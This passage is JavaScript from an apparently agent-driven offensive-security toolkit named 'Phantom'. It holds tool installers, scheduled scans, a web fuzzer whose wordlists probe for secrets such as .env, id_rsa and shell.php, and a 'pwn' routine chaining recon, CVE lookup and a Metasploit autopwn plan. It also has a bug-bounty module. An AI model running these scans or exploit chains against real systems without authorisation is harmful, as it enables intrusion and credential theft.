${e.message}`; } }, git_push: async (input) => { // Show pending commits and push on confirmation const { execSync } = await import("child_process"); const cwd = resolve(dirname(fileURLToPath(import.meta.url)), ".."); try { // Show what's pending const behind = execSync(`git log origin..HEAD --oneline 2>/dev/null`, { cwd, encoding: "utf-8", timeout: 5000 }).trim(); if (!behind) return "📤 Nothing to push — local is up to date with origin."; const lines = behind.split("\n"); let out = `📤 ${lines.length} commit(s) ahead of origin:\n`; lines.slice(0, 10).forEach(l => out += ` ${l}\n`); if (lines.length > 10) out += ` … +${lines.length - 10} more\n`; // Push const pushOut = execSync("git push", { cwd, encoding: "utf-8", timeout: 60000 }); out += `\n✅ Pushed: ${pushOut.trim().split("\n").pop() || "done"}`; return out; } catch (e) { const msg = e.stderr?.trim() || e.message; if (msg.includes("No remote")) return "📤 No remote configured. Set up a remote with `git remote add origin ` first."; return `[git_push Error] ${msg.slice(0, 400)}`; } }, install: async (tool) => { const name = tool.trim().toLowerCase(); const toolList = "nmap, sqlmap, metasploit, searchsploit, ffuf, hydra, john, gobuster, nikto, wireshark, subfinder, katana, amass, httpx, nuclei, dnsx, gau, gitleaks, s3scanner, trufflehog, arjun, gospider, whatweb, wafw00f, masscan, interactsh"; if (!name) return `[install] Usage: @install|tool_name or @install|all\nTools: ${toolList}`; const pmap = { nmap:"nmap", sqlmap:"sqlmap", metasploit:"metasploit-framework", searchsploit:"exploitdb", ffuf:"ffuf", hydra:"hydra", john:"john", gobuster:"gobuster", nikto:"nikto", wireshark:"tshark", dnsutils:"dnsutils", netcat:"netcat-openbsd", curl:"curl", wget:"wget", git:"git", python3:"python3", nodejs:"nodejs", ruby:"ruby", perl:"perl", masscan:"masscan", dirb:"dirb", whatweb:"whatweb", wafw00f:"wafw00f", subfinder:"subfinder", katana:"katana", amass:"amass", httpx:"httpx", nuclei:"nuclei", dnsx:"dnsx", gau:"gau", gitleaks:"gitleaks", s3scanner:"s3scanner", trufflehog:"trufflehog", arjun:"arjun", gospider:"gospider", interactsh:"interactsh-client", }; const pkg = pmap[name] || name; // Bulk install all if (name === "all") { const { execSync } = await import("child_process"); let pm = "apt"; let install = "apt install -y"; let update = "apt update -y"; try { execSync("command -v pkg", { stdio:"pipe" }); pm="pkg"; install="pkg install -y"; update="pkg update -y"; } catch {} try { if (pm==="apt") execSync("command -v apt", { stdio:"pipe" }); } catch { try { execSync("command -v brew", { stdio:"pipe" }); pm="brew"; install="brew install"; update=""; } catch {} } let out = `[install] Bulk installing ${Object.keys(pmap).length} tools via ${pm}...\n`; if (update) try { execSync(update, { stdio:"pipe", timeout:60000 }); } catch {} let ok = 0, fail = 0; for (const [t, p] of Object.entries(pmap)) { try { execSync(`${install} ${p}`, { stdio:"pipe", timeout:300000 }); out += ` ✅ ${t}\n`; ok++; } catch (e) { out += ` ❌ ${t}: ${e.message.slice(0, 60)}\n`; fail++; } } out += `\nDone: ${ok} installed, ${fail} failed.`; return out; } try { const { execSync } = await import("child_process"); // Detect package manager let pm = "apt"; let install = "apt install -y"; let update = "apt update -y"; try { execSync("command -v pkg", { stdio:"pipe" }); pm="pkg"; install="pkg install -y"; update="pkg update -y"; } catch {} try { if (pm==="apt") execSync("command -v apt", { stdio:"pipe" }); } catch { try { execSync("command -v brew", { stdio:"pipe" }); pm="brew"; install="brew install"; update=""; } catch {} } // Install let out = `[install] Installing ${name} via ${pm}...\n`; if (update) execSync(update, { stdio:"pipe", timeout:60000 }); execSync(`${install} ${pkg}`, { stdio:"pipe", timeout:120000 }); out += `✅ ${name} installed.`; // Verify try { execSync(`command -v ${name}`, { stdio:"pipe", timeout:3000 }); out += ` Verified.`; } catch { out += ` Check with '${name}'.`; } return out; } catch (e) { return `[install] Failed: ${e.message}`; } }, update: async (input) => { const force = input?.trim().toLowerCase() === "force"; try { const { execSync } = await import("child_process"); // Check git try { execSync("git rev-parse --git-dir", { stdio:"pipe", timeout:3000 }); } catch { return "[update] Not a git repository."; } // Check remote const remote = execSync("git remote -v", { encoding:"utf-8", timeout:3000 }).trim(); if (!remote) return "[update] No remote configured."; // Fetch execSync("git fetch", { stdio:"pipe", timeout:30000 }); const behind = parseInt(execSync("git rev-list --count HEAD..@{u}", { encoding:"utf-8", timeout:5000 }).trim() || "0"); if (behind === 0) return "[update] Already up to date."; // Show diff const log = execSync(`git log --oneline -${Math.min(behind,5)} HEAD..@{u}`, { encoding:"utf-8", timeout:5000 }).trim(); if (!force) return `[update] ${behind} commit(s) behind:\n${log}\n\nRun @update|force to pull.`; // Pull execSync("git pull --ff-only", { stdio:"pipe", timeout:30000 }); // Re-check syntax try { execSync(`node --check "${resolve(homedir(), "Phantom", "phantom.mjs")}"`, { stdio:"pipe", timeout:5000 }); } catch { return `[update] Pulled but SYNTAX ERROR in new code. Roll back with: git reset --hard HEAD@{1}`; } return `✅ Updated! ${behind} commit(s) pulled.\n${log}\nSyntax verified.`; } catch (e) { return `[update Error] ${e.message}`; } }, batch: async (input) => { const [fileArg, ...rest] = input.trim().split("|"); if (!fileArg || !rest.length) return "[batch] Usage: @batch|targets.txt|tool_name\nReads targets from file, runs tool on each."; const toolName = rest.join("|").trim(); try { const fp = resolve(process.cwd(), fileArg.trim()); const targets = fs.readFileSync(fp, "utf-8").split("\n").map(s => s.trim()).filter(s => s && !s.startsWith("#")); if (!targets.length) return `[batch] No targets found in ${fileArg}`; if (!hackerTools[toolName]) return `[batch] Unknown tool: "${toolName}". Available: ${Object.keys(hackerTools).slice(0,10).join(", ")}...`; const results = []; for (const target of targets.slice(0,20)) { try { const out = await hackerTools[toolName](target); results.push({ target, status: "ok", output: out }); } catch (e) { results.push({ target, status: "error", error: e.message }); } } const passed = results.filter(r => r.status === "ok").length; const failed = results.filter(r => r.status === "error").length; let report = `# Batch Report\nTool: ${toolName}\nTargets: ${targets.length} (ran ${results.length})\nPassed: ${passed} | Failed: ${failed}\n\n`; for (const r of results) { report += `## ${r.target} [${r.status}]\n`; report += r.status === "ok" ? r.output.slice(0,500) + "\n\n" : `Error: ${r.error}\n\n`; } const ts = Date.now(); const rDir = resolve(REPORTS_DIR, "batch"); if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true }); fs.writeFileSync(resolve(rDir, `batch_${ts}.md`), report, "utf-8"); return report.slice(0,4000) + (report.length > 4000 ? `\n... Full report saved to ${rDir}/batch_${ts}.md` : ""); } catch (e) { return `[batch Error] ${e.message}`; } }, schedule: async (input) => { const SCHEDULES_FILE = resolve(homedir(), ".config", "phantom", "schedules.json"); function loadSchedules() { if (fs.existsSync(SCHEDULES_FILE)) { try { return JSON.parse(fs.readFileSync(SCHEDULES_FILE, "utf-8")); } catch {} } return []; } function saveSchedules(schedules) { // Exclude sid (Timer objects) from persistence - they'll be recreated on load const toSave = schedules.map(s => ({ ...s, sid: undefined })); fs.writeFileSync(SCHEDULES_FILE, JSON.stringify(toSave, null, 2), "utf-8"); } // Load persisted schedules on first run if (!globalThis.__phantomSchedulesLoaded) { globalThis.__phantomSchedules = loadSchedules(); // Restore intervals for (const s of globalThis.__phantomSchedules) { s.sid = setInterval(async () => { const ts = new Date().toISOString(); try { const result = await hackerTools[s.tool](s.target); console.log(`[${ts}] ⏰ ${s.tool} → ${s.target}: ${result.slice(0, 200)}`); } catch (e) { console.error(`[${ts}] ⏰ ${s.tool} → ${s.target} ERROR: ${e.message}`); } }, s.nextAt - Date.now() > 0 ? s.nextAt - Date.now() : 0); } globalThis.__phantomSchedulesLoaded = true; } function persistAndRestart() { saveSchedules(globalThis.__phantomSchedules); // Restart all intervals for (const s of globalThis.__phantomSchedules) { clearInterval(s.sid); s.sid = setInterval(async () => { const ts = new Date().toISOString(); try { const result = await hackerTools[s.tool](s.target); console.log(`[${ts}] ⏰ ${s.tool} → ${s.target}: ${result.slice(0, 200)}`); } catch (e) { console.error(`[${ts}] ⏰ ${s.tool} → ${s.target} ERROR: ${e.message}`); } }, s.nextAt - Date.now() > 0 ? s.nextAt - Date.now() : 0); } } const parts = input.trim().split("|"); const cmd = parts[0]?.trim().toLowerCase(); // Management commands if (cmd === "list" || cmd === "ls") { if (!globalThis.__phantomSchedules || !globalThis.__phantomSchedules.length) return "[schedule] No active schedules."; return ["⏰ Active Schedules:", ...globalThis.__phantomSchedules.map(s => ` [${s.id}] ${s.tool} → ${s.target} every ${s.interval} (next: ${new Date(s.nextAt).toLocaleString()})` )].join("\n"); } if (cmd === "stop" || cmd === "cancel") { const id = parseInt(parts[1]); if (!globalThis.__phantomSchedules) return "[schedule] No active schedules."; const idx = globalThis.__phantomSchedules.findIndex(s => s.id === id); if (idx === -1) return `[schedule] No schedule with ID ${id}. Use @schedule|list to see active.`; clearInterval(globalThis.__phantomSchedules[idx].sid); globalThis.__phantomSchedules.splice(idx, 1); persistAndRestart(); return `⏰ Schedule [${id}] cancelled.`; } if (cmd === "clear") { if (!globalThis.__phantomSchedules) return "[schedule] No active schedules."; for (const s of globalThis.__phantomSchedules) clearInterval(s.sid); globalThis.__phantomSchedules = []; persistAndRestart(); return "⏰ All schedules cleared."; } // New schedule if (parts.length < 2) return `[schedule] Usage: @schedule||| Schedule a scan @schedule|scan| Run tool on all scope targets @schedule|list List active schedules @schedule|stop| Stop a schedule @schedule|clear Stop all schedules Interval: daily, hourly, 30m, 10m, 1h, or cron '0 9 * * *' Examples: @schedule|daily|recon|example.com @schedule|scan|recon Run recon on all scope targets @schedule|30m|nmap|scanme.org -p 80,443`; if (cmd === "scan") { // Run tool on all scope targets const toolName = parts[1]; const extra = parts.slice(2).join("|"); try { const { runScheduledScan } = await import("./runtime.mjs"); const result = await runScheduledScan(hackerTools, toolName, extra); return result; } catch (e) { return `[schedule Error] ${e.message}`; } } const interval = cmd; const tool = parts[1]; const target = parts.slice(2).join("|"); try { let ms = 0; if (interval === "daily") ms = 86400000; else if (interval === "hourly") ms = 3600000; else if (interval.match(/^(\d+)m$/)) ms = parseInt(interval) * 60000; else if (interval.match(/^(\d+)h$/)) ms = parseInt(interval) * 3600000; else if (interval.match(/^\d+$/)) ms = parseInt(interval) * 1000; else return `[schedule] Unknown interval: "${interval}". Use: daily, hourly, 30m, 10m, 1h`; if (!hackerTools[tool]) return `[schedule] Unknown tool: "${tool}"`; const sid = setInterval(async () => { const ts = new Date().toISOString(); try { const result = await hackerTools[tool](target); console.log(`[${ts}] ⏰ ${tool} → ${target}: ${result.slice(0, 200)}`); } catch (e) { console.error(`[${ts}] ⏰ ${tool} → ${target} ERROR: ${e.message}`); } }, ms); if (!globalThis.__phantomSchedules) globalThis.__phantomSchedules = []; const id = globalThis.__phantomSchedules.length; const nextAt = Date.now() + ms; globalThis.__phantomSchedules.push({ id, interval, tool, target, sid, nextAt }); persistAndRestart(); return `⏰ Scheduled: ${tool} on ${target} every ${interval}\nNext run: ${new Date(nextAt).toLocaleString()}\nID: ${id} (use @schedule|list to manage)`; } catch (e) { return `[schedule Error] ${e.message}`; } }, agent_memory: async (input) => { const agents = ["Lyra", "Nova", "Orion", "Vega", "Atlas", "Helios", "Selene", "Aether"]; const arg = input?.trim().toLowerCase() || "list"; const dir = resolve(MEMORY_DIR, "agents"); if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); if (arg === "list") { const files = fs.readdirSync(dir); if (!files.length) return "📝 Agent memories: (none yet)\nAgents: " + agents.join(", ") + "\n\nUse @agent_memory| to view."; const list = files.map(f => ` ${f.replace(".json","")}: ${JSON.parse(fs.readFileSync(resolve(dir,f),"utf-8")).length || 0} entries`).join("\n"); return `📝 Agent Memories\n${list}\n\nUse @agent_memory| to view, @agent_memory| clear to reset.`; } const [name, action] = arg.split(/\s+/); const agent = agents.find(a => a.toLowerCase() === name); if (action === "clear") { if (!agent) return `[agent_memory] Unknown agent: ${name}. Agents: ${agents.join(", ")}`; fs.writeFileSync(resolve(dir, `${agent.toLowerCase()}.json`), "[]", "utf-8"); return `🗑️ Cleared memory for ${agent}`; } if (agent) { const memPath = resolve(dir, `${agent.toLowerCase()}.json`); let mem = []; try { mem = JSON.parse(fs.readFileSync(memPath, "utf-8") || "[]"); } catch { mem = []; } if (!mem.length) return `📝 ${agent}: No memories yet.`; return `📝 ${agent} Memory (${mem.length} entries)\n${mem.slice(-5).map(m => ` [${new Date(m.ts).toLocaleTimeString()}] ${m.text?.slice(0,100)}`).join("\n")}`; } return `[agent_memory] Unknown: "${name}". Agents: ${agents.join(", ")}`; }, fuzz: async (input) => { // Web fuzzing engine — discovers hidden paths, params, and files const parts = input.trim().split("|"); const urlPart = parts[0] || ""; const wordlistType = (parts[1] || "common").toLowerCase(); if (!urlPart || !urlPart.includes("FUZZ")) return `[fuzz] Usage: @fuzz|url|wordlist_type\n URL must contain FUZZ placeholder (path or param)\n Wordlists: common, admin, backup, params, php, asp, jsp, custom:path.txt\n Example: @fuzz|https://example.com/FUZZ|admin\n Example: @fuzz|https://example.com?file=FUZZ|common`; // Built-in wordlists const WORDLISTS = { common: ["admin","backup","config","css","data","db","dev","dist","downloads","error","favicon.ico","fonts","images","img","includes","index.html","js","lib","login","logs","media","old","phpinfo.php","private","robots.txt","sitemap.xml","sql","src","static","status","test","tmp","upload","vendor","wp-admin","wp-content","wp-includes","xmlrpc.php"], admin: ["admin","administrator","cp","cpanel","dashboard","manager","panel","root","super","webadmin","wp-admin","admin.php","login","login.php","console","phpmyadmin","phpPgAdmin","adminer","mysql","pma","admin/","backend","api","management","control","sysadmin","webmaster","moderator","adm"], backup: [".git/config",".env","backup.sql","backup.zip","backup.tar.gz","db.sql","dump.sql","config.php.bak","config.bak","composer.json","package.json","package-lock.json","yarn.lock","credentials.txt","password.txt","secret.txt","token.txt","key.pem","private.key","id_rsa","wp-config.php.bak","db_backup.sql","app.log","error.log","access.log","install.log","debug.log"], params: ["id","page","file","path","url","redirect","return","next","go","target","cmd","exec","command","action","do","method","type","option","debug","test","token","key","api_key","secret","auth","password","pass","user","username","name","email","search","q","query","s","folder","dir","include","require","template","theme","view","load","read","download","upload","img","image","src","callback","jsonp","format","lang","locale"], php: ["index.php","config.php","wp-config.php","db.php","login.php","admin.php","api.php","ajax.php","cron.php","setup.php","install.php","upload.php","download.php","search.php","logout.php","register.php","profile.php","settings.php","edit.php","delete.php","view.php","list.php","page.php","post.php","comment.php","user.php","export.php","import.php","backup.php","restore.php","test.php","info.php","phpinfo.php","status.php","health.php","ping.php","shell.php","cmd.php","exec.php","rce.php"], asp: ["default.asp","index.asp","login.asp","admin.asp","config.asp","global.asa","web.config","iisstart.asp"], jsp: ["index.jsp","login.jsp","admin.jsp","manager.jsp","examples/","jsp-examples/","servlets-examples/","web-inf/","WEB-INF/web.xml","WEB-INF/struts-config.xml"], }; // Load wordlist let words = []; if (wordlistType.startsWith("custom:")) { const customPath = wordlistType.slice(7); try { const content = fs.readFileSync(resolve(process.cwd(), customPath), "utf-8"); words = content.split("\n").map(s => s.trim()).filter(Boolean); } catch (e) { return `[fuzz] Custom wordlist error: ${e.message}`; } } else if (WORDLISTS[wordlistType]) { words = WORDLISTS[wordlistType]; } else { return `[fuzz] Unknown wordlist: "${wordlistType}". Options: ${Object.keys(WORDLISTS).join(", ")}`; } const usePlaceholder = urlPart.includes("FUZZ"); const results = []; const baseUrl = urlPart.replace("FUZZ", ""); const found = []; // Check base URL first try { const baseResp = await fetch(urlPart.replace("FUZZ", ""), { method: "GET", signal: AbortSignal.timeout(10000), redirect: "manual" }); const baseSize = parseInt(baseResp.headers.get("content-length") || "0"); results.push(`📡 Fuzzing: ${urlPart}\n Wordlist: ${wordlistType} (${words.length} words, showing up to 30 results)\n Base URL: ${baseResp.status} ${baseResp.statusText}${baseSize ? ` (${(baseSize/1024).toFixed(1)} KB)` : ""}\n`); } catch (e) { results.push(`📡 Fuzzing: ${urlPart}\n Wordlist: ${wordlistType} (${words.length} words)\n Base URL: unreachable (${e.message})\n`); } // Concurrent fuzz with progress const concurrency = 15; let completed = 0; for (let i = 0; i < words.length; i += concurrency) { const batch = words.slice(i, i + concurrency); await Promise.all(batch.map(async (word) => { const url = urlPart.replace("FUZZ", encodeURIComponent(word)); try { const resp = await fetch(url, { method: "GET", signal: AbortSignal.timeout(8000), redirect: "manual" }); const size = parseInt(resp.headers.get("content-length") || "0"); const loc = resp.headers.get("location") || ""; const wordS = `${word}`; const statusS = `${resp.status}`.padStart(4); const sizeS = size ? `${(size/1024).toFixed(1)}K` : ""; const locS = loc ? `→ ${loc.slice(0,60)}` : ""; // Filter: show 2xx, 3xx, 4xx (skip 404) if (resp.status !== 404 && resp.status !== 0) { const label = resp.status < 300 ? "✅" : resp.status < 400 ? "🔀" : "⚠"; found.push({ word: wordS, status: resp.status, size, loc }); if (found.length <= 30) results.push(` ${label} ${wordS.padEnd(30)} ${statusS} ${sizeS.padEnd(8)} ${locS}`); } } catch {} completed++; })); } if (!found.length) results.push(` (no paths discovered — all returned 404 or connection errors)`); else { results.push(`\n📊 ${found.length}/${words.length} discovered (showing first 30)\n`); } // Save report const ts = Date.now(); const rDir = resolve(REPORTS_DIR, "fuzz"); if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true }); const report = [...results].join("\n"); fs.writeFileSync(resolve(rDir, `fuzz_${ts}.md`), `# Fuzz Report: ${baseUrl}\n\n${report}`, "utf-8"); results.push(`\n📄 Report: ${rDir}/fuzz_${ts}.md`); return results.join("\n"); }, pwn: async (input) => { // Auto-exploit chain: recon → CVE → searchsploit → exploit plan const parts = input.trim().split("|"); const target = parts[0] || ""; const port = parts[1] || ""; if (!target) return `[pwn] Usage: @pwn|target|optional_port\n Runs full recon + vulnerability assessment + exploit matching\n Example: @pwn|example.com\n Example: @pwn|192.168.1.1|80,443`; const domain = target.replace(/^https?:\/\//,"").replace(/\/.*$/,"").trim(); const timestamp = new Date().toISOString().replace(/[:.]/g, "-"); const lines = ["╔══════════════════════════════════════╗", "║ PHANTOM — EXPLOIT CHAIN ║", `║ Target: ${domain.padEnd(32)}║`, `║ Date: ${timestamp.slice(0,19).padEnd(27)}║`, "╚══════════════════════════════════════╝",""]; // Phase 1: Recon lines.push("## [1/5] RECONNAISSANCE"); try { lines.push("### DNS Lookup", await hackerTools.dns_lookup(domain), ""); } catch {} try { lines.push("### HTTP Headers", await hackerTools.http_headers(`https://${domain}`), ""); } catch (e) { try { lines.push("### HTTP Headers", await hackerTools.http_headers(`http://${domain}`), ""); } catch {} } try { lines.push("### SSL Check", await hackerTools.ssl_check(port ? `${domain}:${port}` : domain), ""); } catch {} try { lines.push("### Subdomains", await hackerTools.sub_enum(domain), ""); } catch {} // Phase 2: Port scan lines.push("## [2/5] PORT SCAN"); try { const scanTarget = port ? `${domain}:${port}` : domain; lines.push(await hackerTools.port_scan(scanTarget), ""); } catch (e) { lines.push(` Port scan failed: ${e.message}`, ""); } // Phase 3: CVE research lines.push("## [3/5] VULNERABILITY RESEARCH"); try { const software = domain.replace(/^(www\.)?/,"").split(".")[0]; const cveResult = await hackerTools.cve_search(software); lines.push(cveResult, ""); // Try the full domain const cveFull = await hackerTools.cve_search(domain); if (cveFull !== cveResult) lines.push(cveFull, ""); } catch (e) { lines.push(` CVE search failed: ${e.message}`, ""); } // Phase 4: Exploit search lines.push("## [4/5] EXPLOIT LOOKUP"); try { const tech = domain.replace(/^(www\.)?/,"").split(".")[0]; const sploitResult = await hackerTools.searchsploit(tech); lines.push(sploitResult.substring(0,2000), ""); } catch (e) { lines.push(` Exploit search failed: ${e.message}`, ""); } // Phase 5: Metasploit resource script lines.push("## [5/5] GENERATED EXPLOIT PLAN"); const plan = []; plan.push(`# Auto-generated exploit plan for ${domain}`); plan.push(`# Generated: ${timestamp}`); plan.push(""); plan.push("### Recon Summary"); plan.push(`- Target: ${domain}`); plan.push(`- Services: ${port || "common ports scanned"}`); plan.push(""); plan.push("### Attack Vectors"); try { const cveHits = await hackerTools.cve_search(domain.split(".")[0]); const cves = cveHits.match(/CVE-\d{4}-\d+/g) || []; if (cves.length) { plan.push("CVEs identified:"); cves.slice(0,10).forEach(c => plan.push(`- ${c}: search exploit-db or run: @searchsploit|${c}`)); } else { plan.push("- No specific CVEs found for this target"); } } catch {} plan.push(""); plan.push("### Metasploit Quickstart"); plan.push("```"); plan.push("msfconsole -q"); plan.push("workspace -a " + domain); plan.push("db_nmap -sV " + domain); plan.push("load db_autopwn"); plan.push("db_autopwn -t -p -e"); plan.push("```"); plan.push(""); plan.push("### Manual Testing"); plan.push("1. Check HTTP for misconfigurations"); plan.push("2. Test discovered endpoints with @fuzz"); plan.push("3. Run brute force on found services: @bruteforce|ssh|..."); plan.push("4. Analyze response for vulnerabilities"); const planText = plan.join("\n"); lines.push(planText); // Save report const rDir = resolve(REPORTS_DIR, "pwn"); if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true }); const rPath = resolve(rDir, `pwn_${domain}_${timestamp}.md`); fs.writeFileSync(rPath, lines.join("\n"), "utf-8"); lines.push(`\n📄 Full report: ${rPath}`); return lines.join("\n").substring(0, 8000) + `\n... Report saved (${rPath}, ~${lines.join("\n").length} chars)`; }, web_click: async (input) => { const parts = input.split("|").map(s=>s.trim()); const url = parts[0]; const selector = parts[1] || ""; const method = parts[2] || "index"; if (!url) return `[Web Click] Usage: url|selector|method. method: index (click Nth link), text (click by link text), selector (CSS selector)`; try { const r = await fetch(url, {signal:AbortSignal.timeout(15000)}); const html = await r.text(); const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; const links = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*>([\s\S]*?)<\/a>/gi)]; const clean = links.map(([,h,t])=>[h,t.replace(/<[^>]+>/g,"").trim()]).filter(([h])=>h&&!h.startsWith("#")&&!h.startsWith("javascript:")); const res = [`🌐 Web Click: ${url}`]; if (title) res.push(`Title: ${title}`); if (method==="index") { const idx = parseInt(selector)||0; if (idx<0||idx>=clean.length) return `[Web Click] Index ${idx} out of range (0-${clean.length-1})`; const [href,text] = clean[idx]; const fullUrl = href.startsWith("http")?href:new URL(href,url).href; res.push(`Click [${idx}]: ${text||href} → ${fullUrl}`); const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)}); const h2 = await r2.text(); const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); res.push(`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`); } else if (method==="text") { const m = clean.filter(([,t])=>t.toLowerCase().includes(selector.toLowerCase())); if (!m.length) return `[Web Click] No links with text: "${selector}"`; const [href,text] = m[0]; const fullUrl = href.startsWith("http")?href:new URL(href,url).href; res.push(`Click "${text}" → ${fullUrl}`); const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)}); const h2 = await r2.text(); const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); res.push(`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`); } else if (method==="selector") { const fullUrl = selector.startsWith("http")?selector:new URL(selector,url).href; res.push(`Navigate → ${fullUrl}`); const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)}); const h2 = await r2.text(); const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); res.push(`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`); } res.push(`\nLinks on page: ${clean.length}`); return res.join("\n"); } catch(e) { return `[Web Click Error] ${e.message}`; } }, web_links: async (url) => { if (!url) return `[Web Links] Usage: url. Extracts and categorizes all links from a page.`; try { const r = await fetch(url,{signal:AbortSignal.timeout(15000)}); const html = await r.text(); const base = (html.match(/]*href=["']([^"']+)/i)||[])[1]||url; const links = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*>([\s\S]*?)<\/a>/gi)]; const imgs = [...html.matchAll(/]*src=["']([^"']+)["'][^>]*>/gi)]; const scripts = [...html.matchAll(/]*src=["']([^"']+)["'][^>]*>/gi)]; const styles = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*rel=["']stylesheet["'][^>]*>/gi)]; const res = l=>l.startsWith("http")?l:l.startsWith("//")?"https:"+l:new URL(l,base).href; const all = links.map(([,h,t])=>[res(h),t.replace(/<[^>]+>/g,"").trim()]).filter(([h])=>h); const internal = all.filter(([h])=>h.startsWith(url.replace(/\/$/,""))); const external = all.filter(([h])=>!h.startsWith(url.replace(/\/$/,""))); const resources = [...imgs.map(m=>res(m[1])),...scripts.map(m=>res(m[1])),...styles.map(m=>res(m[1]))].filter(Boolean); const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; return [`🔗 Web Links: ${url}`,`Title: ${title}`, `\nLinks: ${all.length} (int=${internal.length}, ext=${external.length})`, internal.length?`\nInternal:\n${internal.slice(0,20).map(([h,t])=>` · ${t||h}`).join("\n")}`:"", external.length?`\nExternal (${Math.min(external.length,20)}):\n${external.slice(0,20).map(([h,t])=>` · ${t||h}`).join("\n")}`:"", resources.length?`\n📦 ${resources.length} resources:\n${resources.slice(0,15).join("\n")}`:"", ].filter(Boolean).join("\n"); } catch(e) { return `[Web Links Error] ${e.message}`; } }, web_form: async (input) => { try { const parts = input.split("|").map(s=>s.trim()); const url = parts[0]; if (!url) return `[Web Form] Usage: url|field1=val1|field2=val2. Extracts/submits HTML forms.`; const r = await fetch(url,{signal:AbortSignal.timeout(15000)}); const html = await r.text(); const forms = [...html.matchAll(/]*action=["']([^"']*)["'][^>]*(?:method=["']([^"']*)["'])?[^>]*>([\s\S]*?)<\/form>/gi)]; const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; const res = [`📋 Web Form: ${url}`,`Title: ${title}`]; if (!forms.length) return res.concat(["(no forms found)"]).join("\n"); res.push(`Forms: ${forms.length}\n`); for (let i=0;i]*name=["']([^"']+)["'][^>]*(?:value=["']([^"']*)["'])?[^>]*>/gi)]; const selects = [...inner.matchAll(/]*name=["']([^"']+)["'][^>]*>([\s\S]*?)<\/select>/gi)]; res.push(`Form #${i}: "${action||url}" ${(method||"GET").toUpperCase()}`); fields.forEach(([,n,v])=>res.push(` ${n}=${v||""}`)); selects.forEach(([,n,opts])=>{const os=[...opts.matchAll(/]*(?:value=["']([^"']*)["'])?[^>]*>([\s\S]*?)<\/option>/gi)];res.push(` `; } catch (e) { return `[integrate Error] ${e.message}`; } }, // ── BROWSER AUTOMATION (Playwright) ── browser_auto: async (input) => { try { let { chromium } = await import('playwright').catch(() => ({})); if (!chromium) return "[Browser] Playwright not installed. Run: npm install playwright && npx playwright install chromium"; const url = input.trim().split(/\s+/)[0]; if (!url || !url.startsWith('http')) return "[Browser] Usage: URL [--screenshot|--html|--text]"; const flags = input.split(/\s+/).slice(1); const doScreenshot = flags.includes('--screenshot'); const doHtml = !doScreenshot || flags.includes('--html'); const doText = flags.includes('--text'); const browser = await chromium.launch({ headless: true, args: ['--no-sandbox'] }); const [page] = await browser.pages(); await page.goto(url, { waitUntil: 'networkidle', timeout: 30000 }); const result = {}; if (doHtml || !doScreenshot) result.html = await page.content(); if (doScreenshot) result.screenshot = (await page.screenshot({ fullPage: true })).toString('base64').slice(0, 5000) + '...[truncated]'; if (doText) result.text = await page.evaluate(() => document.body.innerText); const title = await page.title(); await browser.close(); return `[Browser] ${title}\n URL: ${url}\n HTML: ${(result.html||'').length} chars\n ${doScreenshot ? 'Screenshot: captured\n ' : ''}${doText ? 'Text: ' + (result.text||'').length + ' chars' : ''}`; } catch (e) { return `[Browser] ${e.message}`; } }, // ── GRAPH — query knowledge graph ── graph: async (input) => { try { const { queryGraph, loadGraph, autoLinkFromBooks } = await import("../lib/session.mjs"); if (!input || !input.trim()) { const graph = loadGraph(); const tools = Object.keys(graph); if (!tools.length) return "[graph] Empty. Auto-linking books..."; const linked = autoLinkFromBooks(); const g = loadGraph(); return `[graph] ${Object.keys(g).length} tools linked, ${linked} new links\n${Object.entries(g).map(([t,i]) => ` ${t}: ${i.books?.length || 0} books, ${i.cves?.length || 0} CVEs, [${(i.tags||[]).join(', ')}]`).join("\n")}`; } const results = queryGraph(input); if (!results.length) return `[graph] No results for "${input}"`; return results.map(r => ` ${r.tool} (score:${r.score}): ${r.books?.join(", ") || "—"} | ${r.cves?.join(", ") || "—"} | [${(r.tags||[]).join(", ")}]`).join("\n"); } catch (e) { return `[graph Error] ${e.message}`; } }, // ── HACKERONE BUG BOUNTY TOOL ── hackerone: async (input) => { try { const { resolve:presolve } = await import("path"); const usbConfigPath = presolve(new URL(".", import.meta.url).pathname, "..", "config.json"); const systemConfigPath = presolve(BASE_DIR, "config.json"); // Deep merge: user config overrides project config function deepMerge(target, source) { const result = { ...target }; for (const key of Object.keys(source)) { if (source[key] && typeof source[key] === "object" && !Array.isArray(source[key]) && target[key] && typeof target[key] === "object" && !Array.isArray(target[key])) { result[key] = deepMerge(target[key], source[key]); } else { result[key] = source[key]; } } return result; } let projectConfig = {}; for (const cfgPath of [usbConfigPath]) { try { if (fs.existsSync(cfgPath)) { projectConfig = JSON.parse(fs.readFileSync(cfgPath, "utf-8")); break; } } catch {} } let userConfig = {}; for (const cfgPath of [systemConfigPath]) { try { if (fs.existsSync(cfgPath)) { userConfig = JSON.parse(fs.readFileSync(cfgPath, "utf-8")); break; } } catch {} } let cfg = deepMerge(projectConfig, userConfig); const parts = (input || "").trim().split(/\s+/); const cmd 